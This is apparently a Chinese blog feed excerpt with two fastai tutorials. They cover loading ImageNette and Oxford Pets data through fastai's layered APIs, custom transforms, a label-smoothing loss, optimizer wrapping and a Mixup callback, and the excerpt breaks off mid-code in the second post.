<url>/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_1_%E4%BD%BF%E7%94%A8%E4%B8%8D%E5%90%8CAPI%E5%8A%A0%E8%BD%BD%E6%95%B0%E6%8D%AE/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="使用不同层次的API加载数据"><a href="#使用不同层次的API加载数据" class="headerlink" title="使用不同层次的API加载数据"></a>使用不同层次的API加载数据</h2><p><strong>文档参考</strong>: <a href="https://docs.fast.ai/tutorial.imagenette.html">https://docs.fast.ai/tutorial.imagenette.html</a></p><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_1_%E4%BD%BF%E7%94%A8%E4%B8%8D%E5%90%8CAPI%E5%8A%A0%E8%BD%BD%E6%95%B0%E6%8D%AE/layered.png" alt="img"></p><p> 如图所示,FastAI库有不同层次的API供我们使用,高级的API使用方便,低级的API可供我们进行自定义。</p><p> 在接下来的文章中,我们将使用<code>ImageNette</code>( imagenet的子集,包含10个不同的类别)来讨论不同的数据加载方法,文章的最后将对加载好的数据集进行训练。</p><p> 我们将在本教程中展示如何使用常见的高级API在上面训练模型,然后深入研究fastai库,向您展示如何使用我们设计的中级API。这样,您就可以根据需要来自定义自己的数据收集或训练。</p><h3 id="1-0-数据集介绍"><a href="#1-0-数据集介绍" class="headerlink" title="1.0 数据集介绍"></a>1.0 数据集介绍</h3><p>目录如下</p><ul><li><code>train/</code> 和 <code>val/</code> 文件夹分别包含用于训练和验证的图像。</li><li>每个子文件夹(如 <code>n01440764/</code> 和 <code>n02102040/</code>)代表一个类别,其名称通常是 ImageNet 的 WordNet ID。</li><li>每个类别文件夹内包含该类别的多个 JPEG 图像。</li><li>这种文件结构方便于使用各种数据加载工具。</li></ul><pre><code class="shell">imagenette/|-- noisy_imagenette.csv|-- train/| |-- n01440764/ (这是类别1的标签)| | |-- img1.jpg| | |-- img2.jpg| | |-- ...| |-- n02102040/ (这是类别2的标签)| | |-- img1.jpg| | |-- img2.jpg| | |-- ...| |-- ...|-- val/| |-- n01440764/| | |-- img1.jpg| | |-- img2.jpg| | |-- ...| |-- n02102040/| | |-- img1.jpg| | |-- img2.jpg| | |-- ...| |-- ...</code></pre><h3 id="1-1使用Applications层加载数据"><a href="#1-1使用Applications层加载数据" class="headerlink" title="1.1使用Applications层加载数据"></a>1.1使用Applications层加载数据</h3><pre><code class="python">from fastai.vision.all import *path = untar_data(URLs.IMAGENETTE_160) #下载数据集,返回数据集所在目录dls = ImageDataLoaders.from_folder(path, valid='val',item_tfms=RandomResizedCrop(128,min_scale=0.35),batch_tfms=Normalize.from_stats(*imagenet_stats)) #使用ImageDataLoaders加载数据集dls.show_batch()</code></pre><p>因为高级API的良好封装性,我们只要设置好参数就能很方便的将数据集加载进来。</p><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_1_%E4%BD%BF%E7%94%A8%E4%B8%8D%E5%90%8CAPI%E5%8A%A0%E8%BD%BD%E6%95%B0%E6%8D%AE/image-20230907150107164.png" alt="image-20230907150107164"></p><h3 id="1-2使用High-level-API加载数据集"><a href="#1-2使用High-level-API加载数据集" class="headerlink" title="1.2使用High level API加载数据集"></a>1.2使用High level API加载数据集</h3><p>接下来我们将使用DataBlock来构造数据集,构造完成后可以选择使用<code>DataBlock.Datasets</code>或<code>DataBlock.dcataloaders</code>方法将该源转换为数据集或加载器。</p><p>首先使用 <code>get_image_files</code> 来获取指定目录下所有图片(的路径)</p><pre><code class="python">fnames = get_image_files(path)</code></pre><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_1_%E4%BD%BF%E7%94%A8%E4%B8%8D%E5%90%8CAPI%E5%8A%A0%E8%BD%BD%E6%95%B0%E6%8D%AE/image-20230907151115246.png" alt="image-20230907151115246"></p><blockquote><p>我们先用一个不含任何参数的DataBlock</p></blockquote><pre><code class="python">dblock = DataBlock()dsets = dblock.datasets(fnames)#传入的是get_image_files(path)dsets.train[0]</code></pre><p>默认情况下,DataBlock的API会假设我们有一个输入(X)和一个输出(Y), 由于我们只传入了文件路径,这导致输入 和输出都是文件路径,运行上面的代码输出如下。</p><pre><code class="shell">(Path('/home/jhoward/.fastai/data/imagenette2-160/train/n03425413/n03425413_7416.JPEG'), Path('/home/jhoward/.fastai/data/imagenette2-160/train/n03425413/n03425413_7416.JPEG'))</code></pre><blockquote><p>指定输入(X)和输出(Y)</p></blockquote><p>首先我们先处理一下标签, 上文中ImageDataLoader会使用图片的父目录作为标签</p><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_1_%E4%BD%BF%E7%94%A8%E4%B8%8D%E5%90%8CAPI%E5%8A%A0%E8%BD%BD%E6%95%B0%E6%8D%AE/image-20230907152030755.png" alt="image-20230907152030755"></p><p>我们可以通过设置一个字典结构来将其转换。</p><pre><code class="pyhton">lbl_dict = dict( n01440764='tench', n02102040='English springer', n02979186='cassette player', n03000684='chain saw', n03028079='church', n03394916='French horn', n03417042='garbage truck', n03425413='gas pump', n03445777='golf ball', n03888257='parachute')</code></pre><p>为了让DataBlock可以使用这个字典我们需要定义一个函数来将其进行转换。</p><pre><code class="python">def label_func(fname): return lbl_dict[parent_label(fname)]</code></pre><p>然后我们可以构造DataBlock了</p><pre><code class="python">dblock = DataBlock(get_items = get_image_files, get_y = label_func)dsets = dblock.datasets(path)#获取加载好的数据集</code></pre><p>接下来我们修改向其传入的参数。</p><p><code>get_items</code> 使用了 <code>get_image_files</code>函数,它可以将指定目录 <code>path</code>下的图片路径加载进来,通过路径DataBlock可以很方便的加载图片。</p><p><code>get_y</code>使用了我们自定义的<code>label_func</code>函数,这样我们</p><p>我们可以看看这个数据集。</p><pre><code class="python">#获取一条训练数据dsets.train[0]</code></pre><pre><code class="shell">(PILImage mode=RGB size=187x160, TensorCategory(0))</code></pre><pre><code class="python">#获取数据集的标签列表dsets.vocab</code></pre><pre><code class="shell">['English springer', 'French horn', 'cassette player', 'chain saw', 'church', 'garbage truck', 'gas pump', 'golf ball', 'parachute', 'tench']</code></pre><blockquote><p>理解get_items和get_y接收的参数(<strong>以下是询问CHATGPT的答案</strong>)</p></blockquote><p>在 fastai 的 <code>DataBlock</code> API 中,<code>get_y</code> 函数的参数通常是 <code>get_items</code> 函数处理后的单个结果。简单来说,<code>get_items</code> 用于从数据源(例如一个目录、一个数据框(DataFrame)等)中获取所有的项(通常是文件路径),而 <code>get_y</code> 则是用于从单个项(如一个文件路径)来获取对应的标签(或目标值)。</p><p>当 fastai 的 <code>DataBlock</code> API 构造一个数据集时,它首先使用 <code>get_items</code> 函数来获取所有的数据项。然后,对于 <code>get_items</code> 返回的每一个单个项,它会使用 <code>get_y</code> 函数来找到相应的标签。</p><p>这就是为什么在很多 fastai 的教程或示例代码中,你会看到 <code>get_y</code> 函数通常会处理文件名或文件路径。因为这些文件名或路径就是 <code>get_items</code> 函数返回的结果,现在需要为它们找到对应的标签。</p><p>这种模块化的设计使得 fastai 的 <code>DataBlock</code> API 非常灵活,你可以通过简单地替换 <code>get_items</code> 或 <code>get_y</code> 函数来轻松地适应不同类型的数据源或任务。</p><blockquote><p>更进一步处理</p></blockquote><p>我们可以指定验证集的获取方法、图片的预处理方法。</p><pre><code class="python">dblock = DataBlock(blocks = (ImageBlock, CategoryBlock), get_items = get_image_files, get_y = label_func, splitter = GrandparentSplitter(), item_tfms = RandomResizedCrop(128, min_scale=0.35), batch_tfms=Normalize.from_stats(*imagenet_stats))</code></pre><p><code>splliter</code>指定训练集和验证集的划分,</p><p><code>item_tfms</code></p><ul><li><strong>作用对象</strong>:作用于每一个单独的数据项(item)。</li><li><strong>应用时机</strong>:在批处理(batching)之前,即在单个数据项被收集到一个批次之前。</li><li><strong>常见用途</strong>:包括但不限于裁剪(cropping)、调整大小(resizing)、转换为灰度图像(grayscale)等。</li><li><strong>性能</strong>:由于 <code>item_tfms</code> 是在批处理之前应用的,因此每个转换都是独立的,这可能会减慢数据加载速度。</li></ul><p>例如,如果你想确保每个图像都被调整到相同的大小,你可能会使用 <code>item_tfms</code>。</p><p><code>batch_tfms</code></p><ul><li><strong>作用对象</strong>:作用于一个整个数据批次(batch)。</li><li><strong>应用时机</strong>:在批处理(batching)之后,即数据已经被整合到一个批次,并准备送入模型之前。</li><li><strong>常见用途</strong>:包括但不限于数据标准化(normalization)、数据增强(如随机旋转、翻转等)。</li><li><strong>性能</strong>:由于操作是在一个整个批次上进行的,通常可以利用 GPU 加速,因此一般而言会更快。</li></ul><p>例如,如果你想对整个数据批次进行数据增强,你可以使用 <code>batch_tfms</code>。</p><h3 id="1-3-使用mid-level-API加载数据集"><a href="#1-3-使用mid-level-API加载数据集" class="headerlink" title="1.3 使用mid-level API加载数据集"></a>1.3 使用mid-level API加载数据集</h3><p>接下来我们将介绍用于对数据进行处理的transform ,然后自己构造出dataset ,通过Dataset进一步处理来获取用于训练的Dataloader。</p><blockquote><p>Transform</p></blockquote><p>在fastai中,我们对原始项(这里是文件名)应用的每一个转换都被称为Transform。它基本上是一个添加了一些功能的函数:</p><ol><li>根据接收的类型,它可以有不同的行为(这称为类型调度)</li><li>它通常应用于元组的每个元素</li></ol><blockquote><p>尝试构建一个Transform</p></blockquote><p>首先是获取所有的文件名。</p><pre><code class="python">source = untar_data(URLs.IMAGENETTE_160)fnames = get_image_files(source)</code></pre><p>通过fnames, 我们可以很方便的查看图片</p><pre><code class="python">PILImage.create(fnames[0])</code></pre><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_1_%E4%BD%BF%E7%94%A8%E4%B8%8D%E5%90%8CAPI%E5%8A%A0%E8%BD%BD%E6%95%B0%E6%8D%AE/image-20230907161343342.png" alt="image-20230907161343342"></p><p>通过parent_label,我们可以获取这个图片的父目录</p><pre><code class="python">parent_label(fnames[0])</code></pre><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_1_%E4%BD%BF%E7%94%A8%E4%B8%8D%E5%90%8CAPI%E5%8A%A0%E8%BD%BD%E6%95%B0%E6%8D%AE/image-20230907161457505.png" alt="image-20230907161457505"></p><p>通过上文构造的字典,可以将实际的标签显示出来</p><pre><code class="python">lbl_dict[parent_label(fnames[0])]</code></pre><pre><code class="shell">'garbage truck'</code></pre><p>这一系列的操作可以通过PipeLine进行串行的处理,我们可以自定义个Transform如下:</p><pre><code class="python">tfm = Pipeline([parent_label, lbl_dict.__getitem__, Categorize(vocab = lbl_dict.values())])tfm(fnames[0])</code></pre><p>输出如下</p><pre><code class="python">TensorCategory(5)</code></pre><p>这样理解:每一个成员获取前一个的输出,并将处理后的结果传给下一个成员,最后一个成员的处理结果为该Transform的最后输出。</p><blockquote><p> 接下来将构建Datasets</p></blockquote><p>构建Dataset需要考虑如下:</p><ul><li>原始数据</li><li>对原始数据进行一系列Transform来获取输入。</li><li>对原始数据的一系列Transform处理来获取输出。</li><li>训练集和验证集的划分</li></ul><p>如下函数指定划分依据为父目录的父目录名为’val’</p><pre><code class="python">splits = GrandparentSplitter(valid_name='val')(fnames)</code></pre><p>对输入的处理为PILImage.create ,即将输入的文件名转换成图片</p><p>对输出的处理为parent_label, lbl_dict.<strong>getitem</strong>, Categorize,最后获取的就是标签。</p><pre><code class="python">dsets = Datasets(fnames, [[PILImage.create], [parent_label, lbl_dict.__getitem__, Categorize]], splits=splits)</code></pre><p>我们可以通过show来查看数据集每个成员(item)</p><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_1_%E4%BD%BF%E7%94%A8%E4%B8%8D%E5%90%8CAPI%E5%8A%A0%E8%BD%BD%E6%95%B0%E6%8D%AE/image-20230907162653013.png" alt="image-20230907162653013"></p><blockquote><p>进一步 的处理(构造Dataloader)</p></blockquote><p>我们训练时需要的是</p><p>对item(单一样本)进行进一步的处理</p><ol><li>将他们转换成tensor</li><li>resize一下图片</li></ol><pre><code class="python">item_tfms = [ToTensor, RandomResizedCrop(128, min_scale=0.35)]</code></pre><p>对batch( 一批样本,我们实际训练时用到的)进行进一步处理</p><ul><li>将int tensor类型和转换成float tensor类型</li><li>使用 ImageNet 的统计数据进行标准化。</li></ul><pre><code class="python">batch_tfms = [IntToFloatTensor, Normalize.from_stats(*imagenet_stats)]</code></pre><p>当然,我们也可以在处理items时使用这个Transform,不过在batch时处理效率更高。</p><p>最后,我们可以通过构造好的Dataset的dataloaders方法来构造Dataloader ,我们向其传入after_item ,after_batch 来传入我们自定义的Transform。</p><pre><code class="python">dls = dsets.dataloaders(after_item=item_tfms, after_batch=batch_tfms, bs=64, num_workers=8)</code></pre><h3 id="1-4-使用我们定义好的Dataloader进行训练"><a href="#1-4-使用我们定义好的Dataloader进行训练" class="headerlink" title="1.4 使用我们定义好的Dataloader进行训练"></a>1.4 使用我们定义好的Dataloader进行训练</h3><p>我们首先使用<code>vision_learner</code>来快速开始训练,然后我们将学习如何构建一个<code>Learner</code> ,为此我们将学习如何自定义以下内容: </p><ul><li>如何通过fastai编写一个损失函数。</li><li>如何编写优化函数以及如何调用Pytorch的优化函数。</li><li>如何编写一个基本的回调函数。</li></ul><blockquote><p>通过vision_learner 快速开始训练</p></blockquote><pre><code class="python">learn = vision_learner(dls, resnet34, metrics=accuracy, pretrained=False)#指定模型、是否预训练、衡量指标learn.fit_one_cycle(5, 5e-3)#训练5轮,初始学习率为0.005</code></pre><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_1_%E4%BD%BF%E7%94%A8%E4%B8%8D%E5%90%8CAPI%E5%8A%A0%E8%BD%BD%E6%95%B0%E6%8D%AE/image-20230907165109059.png" alt="image-20230907165109059"></p><p>训练完成后我们可以调用predict和show_results方法来进行预测</p><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_1_%E4%BD%BF%E7%94%A8%E4%B8%8D%E5%90%8CAPI%E5%8A%A0%E8%BD%BD%E6%95%B0%E6%8D%AE/image-20230907165200638.png" alt="image-20230907165200638"></p><p>我们可以自定义一个Learner来指定不同的网络</p><pre><code class="python">learn = Learner(dls, xresnet34(n_out=10), metrics=accuracy)</code></pre><blockquote><p>修改损失函数</p></blockquote><p>传入Learner的损失函数的参数为标签(target)和模型输出(output) ,函数的返回值为损失(loss),使用常规的Pytorch代码来实现损失函数在训练阶段不会发生什么奇怪的错误。</p><p>不过当使用Learner.get_preds, Learner.predict 或者Learner.show_results.时可能会产生奇怪的bug.</p><p>如果你想让 <code>Learner.get_preds</code> 方法在 <code>with_loss=True</code> 参数下工作(比如当你运行 <code>ClassificationInterpretation.plot_top_losses</code> 时也会用到),你的损失函数需要有一个可以设置为 “none” 的 <code>reduction</code> 属性(或参数)。设置为 “none” 后,损失函数不返回单一数值(如平均或总和),而是返回与target同样size的一系列值。</p><p>对于 <code>Learner.predict</code> 或 <code>Learner.show_results</code>,它们内部依赖于你的损失函数应该具备的两个方法:</p><ol><li>一个<code>activation</code>函数(激活)。如果你有一个将激活和损失函数结合在一起的损失(如 <code>nn.CrossEntropyLoss</code>)</li><li>一个 <code>decodes</code> 函数,用于将你的预测转换为与你的目标相同的格式:例如,在 <code>nn.CrossEntropyLoss</code> 的情况下,<code>decodes</code> 函数应该取 <code>argmax</code>。</li></ol><p>以下是一个例子</p><pre><code class="python">class LabelSmoothingCE(Module): def __init__(self, eps=0.1, reduction='mean'): self.eps,self.reduction = eps,reduction def forward(self, output, target): c = output.size()[-1] log_preds = F.log_softmax(output, dim=-1) if self.reduction=='sum': loss = -log_preds.sum() else: loss = -log_preds.sum(dim=-1) #We divide by that size at the return line so sum and not mean if self.reduction=='mean': loss = loss.mean() return loss*self.eps/c + (1-self.eps) * F.nll_loss(log_preds, target.long(), reduction=self.reduction) def activation(self, out): return F.softmax(out, dim=-1) def decodes(self, out): return out.argmax(dim=-1)</code></pre><p>我们可以通过loss_func 来指定自定义的损失函数。</p><pre><code class="python">learn = Learner(dls, xresnet34(n_out=10), loss_func=LabelSmoothingCE(), metrics=accuracy)</code></pre><blockquote><p>修改优化器</p></blockquote><p>fastai 使用其自己构建的优化器(Optimizer)类,该类通过各种回调来重构通用功能,并为起相同作用的优化器超参数提供唯一命名(如 SGD 中的动量(momentum),它与 RMSProp 中的 alpha 和 Adam 中的 beta0 相同),这使得更容易对它们进行调度(如在 <code>Learner.fit_one_cycle</code> 中)。</p><p>它实现了 PyTorch 支持的所有优化器(甚至更多),因此你应该不需要使用来自 PyTorch 的优化器。可以查看优化器模块(optimizer module)以了解所有本地可用的优化器。</p><p>然而,在某些情况下,你可能需要使用不在 fastai 中的优化器(例如,如果它是一个仅在 PyTorch 中实现的新优化器)。在学习如何将代码移植到fastai的内部优化器之前(可以查看优化器模块以了解更多信息),你可以使用 <code>OptimWrapper</code> 类来封装你的 PyTorch 优化器并用它进行训练。</p><pre><code class="python">pytorch_adamw = partial(OptimWrapper, opt=torch.optim.AdamW)learn = Learner(dls, xresnet18(), lr=1e-2, metrics=accuracy, loss_func=LabelSmoothingCrossEntropy(), opt_func=partial(pytorch_adamw, weight_decay=0.01, eps=1e-3))</code></pre><blockquote><p>mixup技术</p></blockquote><p><code>Mixup</code> 是一种数据增强(Data Augmentation)技术,用于提高神经网络模型的泛化能力。这个方法是在训练过程中用于生成新的训练样本的。具体来说,<code>Mixup</code> 通过线性地混合两个随机选择的训练样本(以及它们对应的标签)来生成一个新的样本。</p><p>假设我们有两个样本(x1,y1) 和(x2,y2),以及一个从 Beta 分布中采样的混合系数 λ。<code>Mixup</code> 会创建一个新的样本 (x′,y′),其中:</p><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI_1_%E4%BD%BF%E7%94%A8%E4%B8%8D%E5%90%8CAPI%E5%8A%A0%E8%BD%BD%E6%95%B0%E6%8D%AE/image-20230907185216203.png" alt="image-20230907185216203"></p><p>这样,模型在训练时不仅仅看到原始的样本,还会看到这些混合生成的新样本,从而有可能提高其对未见过数据的泛化性能。</p><p><code>Mixup</code> 主要用于图像分类任务,但也可以应用于其他类型的数据和任务。这种方法被证明能够提高模型在多种任务和数据集上的性能。</p><blockquote><p>修改 循环</p></blockquote><p>一个好的训练循环应该有如下结构</p><pre><code class="python">for xb,yb in dl: pred = model(xb) loss = loss_func(pred, yb) loss.backward() opt.step() opt.zero_grad()</code></pre><p>其中model 、loss_func 、opt都是FastAI的Learner的属性。</p><p>为了轻松地在训练循环中添加新的行为(如分布式训练等),而不需要自己重写整个循环,你可以通过编写回调(callback)来自定义训练循环。</p><p>关于回调函数基本的功能如下:</p><ol><li>回调可以读取 <code>Learner</code> 的每一部分,因此可以了解训练循环中发生的一切。</li><li>回调可以改变 <code>Learner</code> 的任何部分,从而有能力改变训练循环的行为。</li><li>回调甚至可以触发特殊的异常,这将允许设置断点(跳过某一步、验证阶段、一个epoch 或者完全取消训练)</li></ol><p>接下来我们将通过编写回调函数来实现这个功能。</p><pre><code class="python">class Mixup(Callback): run_valid = False def __init__(self, alpha=0.4): self.distrib = Beta(tensor(alpha), tensor(alpha)) def before_batch(self): self.t = self.distrib.sample((self.y.size(0),)).squeeze().to(self.x.device) shuffle = torch.randperm(self.y.size(0)).to(self.x.device) x1,self.y1 = self.x[shuffle],self.y[shuffle] self.learn.xb = (x1 * (1-self.t[:,None,None,None]) + self.x * self.t[:,None,None,None],) def after_loss(self): with NoneReduce(self.loss_func) as lf: loss = lf(self.pred,self.y1) * (1-self.t) + lf(self.pred,self.y) * self.t self.learn.loss = loss.mean()</code></pre><p>通过指定cbs来调用它</p><pre><code class="python">learn = Learner(dls, xresnet18(), lr=1e-2, metrics=accuracy, loss_func=LabelSmoothingCrossEntropy(), cbs=Mixup(), opt_func=partial(pytorch_adamw, weight_decay=0.01, eps=1e-3))</code></pre><blockquote><p>参考文章</p></blockquote>]]></content>
<categories>
<category> 人工智能 </category>
<category> FASTAI </category>
</categories>
<tags>
<tag> 深度学习 </tag>
<tag> FASTAI </tag>
</tags>
</entry>
<entry>
<title>FASTAI快速入门</title>
<link href="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/"/>
<url>/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="FASTAI"><a href="#FASTAI" class="headerlink" title="FASTAI"></a>FASTAI</h2><h3 id="1-快速入门"><a href="#1-快速入门" class="headerlink" title="1.快速入门"></a>1.快速入门</h3><blockquote><p>安装库</p></blockquote><p>pip install fastai</p><blockquote><p>导入库</p></blockquote><pre><code class="python">from fastai.vision.all import *from fastai.text.all import *from fastai.collab import *from fastai.tabular.all import *</code></pre><h3 id="1-1图片分类–-gt-猫图片预测"><a href="#1-1图片分类–-gt-猫图片预测" class="headerlink" title="1.1图片分类–> 猫图片预测"></a>1.1图片分类–> 猫图片预测</h3><pre><code class="python">path = untar_data(URLs.PETS)/'images'def is_cat(x): return x[0].isupper()dls = ImageDataLoaders.from_name_func( path, get_image_files(path), valid_pct=0.2, seed=42, label_func=is_cat, item_tfms=Resize(224))learn = vision_learner(dls, resnet18, metrics=error_rate)learn.fine_tune(1)</code></pre><blockquote><p>分析结果</p></blockquote><pre><code class="python">#查看 top8 lossinterp = ClassificationInterpretation.from_learner(learn)interp.plot_top_losses(k=8)</code></pre><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/image-20230904160207548.png" alt="image-20230904160207548"></p><pre><code class="python">#查看cnfusion_matrixinterp.plot_confusion_matrix(figsize=(6,6))</code></pre><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/image-20230904160258096.png" alt="image-20230904160258096"></p><h3 id="1-2-分析代码"><a href="#1-2-分析代码" class="headerlink" title="1.2 分析代码"></a>1.2 分析代码</h3><p><code>path = untar_data(URLs.PETS)</code></p><p>下载数据,返回数据集所在目录</p><p><code>files = get_image_files(path/"images")</code></p><p>获取path目录下/images文件</p><p><code>def label_func(f): return f[0].isupper()</code></p><p>数据处理函数,如果f的第一个字母为大写,则返回True,用到的数据集中首字母大写的为猫。</p><p><code>dls = ImageDataLoaders.from_name_func(path, files, label_func, item_tfms=Resize(224))</code></p><p>path为数据集路径,files为具体文件路径,label_func为对files进行的处理作为标签,item_tfms为图片的处理。</p><p><code>learn = vision_learner(dls, resnet34, metrics=error_rate)</code><br><code>learn.fine_tune(1)</code></p><p>使用数据集进行训练。</p><p><code>learn.predict(Path(r"C:\Users\qwrdxer\Pictures\Abyssinian_1.jpg"))</code></p><p>将图片地址转换为Path类型进行预测</p><p>使用lr_find来查找合适的学习率</p><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/image-20230904163839792.png" alt="image-20230904163839792"></p><h2 id="2-进阶dataloader"><a href="#2-进阶dataloader" class="headerlink" title="2.进阶dataloader"></a>2.进阶dataloader</h2><h3 id="2-1-示例"><a href="#2-1-示例" class="headerlink" title="2.1 示例"></a>2.1 示例</h3><pre><code class="python">pets = DataBlock(blocks=(ImageBlock, CategoryBlock), #用到的类型,图片、分类 get_items=get_image_files, #获取x的方式 splitter=RandomSplitter(), #分割方式 get_y=using_attr(RegexLabeller(r'(.+)_\d+.jpg$'), 'name'), #获取y标签的方法 item_tfms=Resize(460), batch_tfms=aug_transforms(size=224))</code></pre><p>A datablock is built by giving the fastai library a bunch of informations:</p><ul><li>the types used, through an argument called <code>blocks</code>: here we have images and categories, so we pass <a href="https://docs.fast.ai/vision.data.html#imageblock"><code>ImageBlock</code></a> and <a href="https://docs.fast.ai/data.block.html#categoryblock"><code>CategoryBlock</code></a>.</li><li>how to get the raw items, here our function <a href="https://docs.fast.ai/data.transforms.html#get_image_files"><code>get_image_files</code></a>.</li><li>how to label those items, here with the same regular expression as before.</li><li>how to split those items, here with a random splitter.</li><li>the <code>item_tfms</code> and <code>batch_tfms</code> like before.</li></ul><h3 id="2-2-通过csv格式文件-进行标签"><a href="#2-2-通过csv格式文件-进行标签" class="headerlink" title="2.2 通过csv格式文件 进行标签"></a>2.2 通过csv格式文件 进行标签</h3><p>例子使用了多分类的数据集,标签在train.csv中</p><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/image-20230904165814674.png" alt="image-20230904165814674"></p><p>dls = ImageDataLoaders.<code>from_df</code>(<code>df</code>, path, folder=’train’, valid_col=’is_valid’, <code>label_delim=' '</code>, item_tfms=Resize(460), batch_tfms=aug_transforms(size=224))</p><ol><li><p>使用from_df函数来加载csv的数据集。</p></li><li><p>path为基目录,folder 用于在path和filename之间增加路径path/folder/filename</p></li><li><p>label_delim 指定使用空格作为标签分类条件</p></li><li><p>文件名、标签<strong>默认</strong>为第一二列所以这里不需要指定。</p></li></ol><blockquote><p>进阶:</p></blockquote><pre><code class="python">pascal = DataBlock(blocks=(ImageBlock, MultiCategoryBlock), splitter=ColSplitter('is_valid'), get_x=ColReader('fname', pref=str(path/'train') + os.path.sep), get_y=ColReader('labels', label_delim=' '), item_tfms = Resize(460), batch_tfms=aug_transforms(size=224))</code></pre><blockquote><p>多分类使用F1 Score来评价模型的好坏</p></blockquote><pre><code class="python">f1_macro = F1ScoreMulti(thresh=0.5, average='macro')f1_macro.name = 'F1(macro)'f1_samples = F1ScoreMulti(thresh=0.5, average='samples')f1_samples.name = 'F1(samples)'learn = vision_learner(dls, resnet50, metrics=[partial(accuracy_multi, thresh=0.5), f1_macro, f1_samples])</code></pre><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/image-20230904193732565.png" alt="image-20230904193732565"></p><h2 id="3-进阶DataBlock"><a href="#3-进阶DataBlock" class="headerlink" title="3. 进阶DataBlock"></a>3. 进阶DataBlock</h2><h3 id="3-1-从头开始创建一个DataBlock"><a href="#3-1-从头开始创建一个DataBlock" class="headerlink" title="3.1 从头开始创建一个DataBlock"></a>3.1 从头开始创建一个DataBlock</h3><blockquote><p>DataBlock 可以理解为一个如何汇聚数据的模板,我们可以通过DataBlock的实例的 <code>datasets</code> 方法获取数据集、<code>dataloaders</code>方法来获取 Dataloader进行训练、<br><code>summary</code> 方法来看数据集的构造细节。</p></blockquote><p>下面的示例代码中创建了一个空的DataBlock,然后将文件名作为数据集传入其中,随后输出数据集的第一个。</p><pre><code class="python">from fastai.data.all import *from fastai.vision.all import *path = untar_data(URLs.PETS)fnames = get_image_files(path/"images")# 下面的代码中使用get_items可以直接指定。dblock = DataBlock()#创建一个空的DataBlockdsets = dblock.datasets(fnames)dsets.train[0]</code></pre><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/image-20230905093117340.png" alt="image-20230905093117340"></p><p>默认情况下DataBlock对数据集的处理包含输入(X)和输出(Y),因为这里没做任何处理,所以打印出来2次重复的。</p><blockquote><p>首先我们可以指定<code>get_items</code> 来确定如何获取数据集(X)。</p></blockquote><pre><code class="python">dblock = DataBlock(get_items = get_image_files)</code></pre><blockquote><p>随后是如何获取标签值(Y) </p></blockquote><p>观察数据集可知,文件名如果是大写英文开头,则为猫,小写则为狗,我们可以根据这种规则来对数据打标签,下面使用<code>label_func</code>函数来实现。</p><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/image-20230905094133498.png" alt="image-20230905094133498"></p><pre><code class="python">def label_func(fname): return "cat" if fname.name[0].isupper() else "dog"dblock = DataBlock(get_items = get_image_files, get_y = label_func)dsets = dblock.datasets(path/"images")dsets.train[0]</code></pre><p>可以看到train[0] 已经可以正常输出X,Y了(注意X虽然是路径,但框架可以很方便的通过这个完整的文件路径来获取图片)</p><p><img src="/2023/09/27/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/FASTAI/FASTAI%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/image-20230905094054481.png" alt="image-20230905094054481"></p><blockquote><p>我们现在知道了输入是图片(Images),输出是类别(Category), 我们可以通过blocks来制定输入和输出的类型。</p></blockquote><pre><code class="python">dblock = DataBlock(blocks = (ImageBlock, CategoryBlock), get_items = get_image_files, get_y = label_func)dsets = 